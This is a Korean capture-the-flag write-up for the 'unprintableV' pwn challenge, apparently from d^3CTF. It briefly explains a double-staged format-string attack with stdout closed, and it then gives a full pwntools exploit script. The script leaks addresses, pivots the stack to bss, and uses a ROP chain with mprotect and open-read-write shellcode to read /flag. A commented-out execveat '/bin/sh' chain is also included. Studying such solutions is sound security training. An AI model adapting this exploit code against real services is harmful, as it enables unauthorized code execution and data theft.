unprintableV

중국에서 CTF 하나 하길래 짬짬히 잡아봤다.

unprintableV 하나 풀고 knote랑 new_heap 보는데, knote는 double-fetch로 uaf 터뜨리면 될 거 같아서 시도해보다가 대회가 끝났고, new_heap은 stdin 버퍼 힙을 활용해야 하는 것은 알겠는데 같은 주소로 어떻게 옮겨놓을지 감이 안 잡혔다.

암튼 unprintableV 라업 써본당

close(1)을 하고, 전역 변수에 입력받고 fsb를 계속 준다.

stdout이 닫혀있으므로, double-staged fsb로 bss@stdout을 _IO_2_1_stderr_로 돌려서 릭을 따준다.

그 후 스택을 rop로 쭉 덮기에는 횟수가 부족하기에 스택을 bss로 pivoting하여 orw로 플래그를 읽어주면 슥슥

from pwn import *

def pivot(r, g):
	pay = '%'+str(r)+'c'+'%6$hhn'
	sleep(0.7)
	p.send(pay+'\x00'*0x30)
	pay = '%'+str(g)+'c'+'%10$hhn'
	sleep(0.7)
	p.send(pay+'\x00'*0x30)

context.log_level = 'debug'

#p = process('./unprintableV')
p = remote('212.64.44.87', 14518)
e = ELF('./unprintableV')
l = e.libc

p.recvuntil('0x')
stack = int(p.recvline().strip(), 16)
print hex(stack)

lsb = stack & 0xff

# double-staged fsb

pay = '%'+str(lsb)+'c'
pay += '%6$hhn'
p.send(pay+'\x00'*0x30)
sleep(0.7)

pay = '%'+str(0x20)+'c'
pay += '%10$hhn'
p.send(pay+'\x00'*0x30)
sleep(0.7)

pay = '%'+str(0x0680)+'c'
pay += '%9$hn'
p.send(pay+'\x00'*0x30)
sleep(0.7)

# leak

p.send('%1$p %3$p'+'\x00'*0x30)
p.recvuntil('0x')
pie = int(p.recv(12), 16) # buf
print hex(pie)

p.recvuntil('0x')
libc = int(p.recv(12), 16) - 0x110081
print hex(libc)

prax = libc + 0x439c8
prdi = libc + 0x2155f
prsi = libc + 0x23e6a
prdx = libc + 0x1b96
pr8 = libc + 0x155fc6
pr10 = libc + 0x1306b5
prbp = libc + 0x21353
leaveret = libc + 0x54803
syscall = libc + 0x13c0
gets = libc + l.sym['gets']

# get sell

target = lsb+0x10
rop = [prbp, pie+0x20, leaveret]
idx = 0

for gg in rop:
	rip = target + idx*0x8
	rip = rip&0xff
	print hex(rip)+' : '+hex(gg)

	pivot(rip, gg&0xff)
	pivot(rip+1, (gg&0xff00)>>8)
	pivot(rip+2, (gg&0xff0000)>>16)
	pivot(rip+3, (gg&0xff000000)>>24)
	pivot(rip+4, (gg&0xff00000000)>>32)
	pivot(rip+5, (gg&0xff0000000000)>>40)
	
	idx += 1

# find flag (echo * >&2)

"""
shell = 'd^3CTF'.ljust(0x28, '\x00')
shell += p64(prdi)+p64(0xffffffffffff)
shell += p64(prsi)+p64(pie+0x100)
shell += p64(prdx)+p64(0)
shell += p64(pr10)+p64(0)
shell += p64(pr8)+p64(0)
shell += p64(prax)+p64(322)
shell += p64(syscall)
shell = shell.ljust(0x100, '\x00')
shell += '/bin/sh\x00'
"""

# orw /flag

context.arch = 'amd64'

orw = 'd^3CTF'.ljust(0x28, '\x00')
orw += p64(prdi)+p64(pie&~0xfff)
orw += p64(prsi)+p64(0x1000)
orw += p64(prdx)+p64(7)
orw += p64(libc+l.sym['mprotect'])
orw += p64(pie+0x80)
orw = orw.ljust(0x80, '\x00')

sc = shellcraft.open('/flag')
sc += shellcraft.read('rax', 'rsp', 0x50)
sc += shellcraft.write(2, 'rsp', 0x50)
orw += asm(sc)

sleep(0.7)
p.send(orw)

p.interactive()

execveat으로 쉘 따고 echo * >&2로 플래그를 찾아줬다.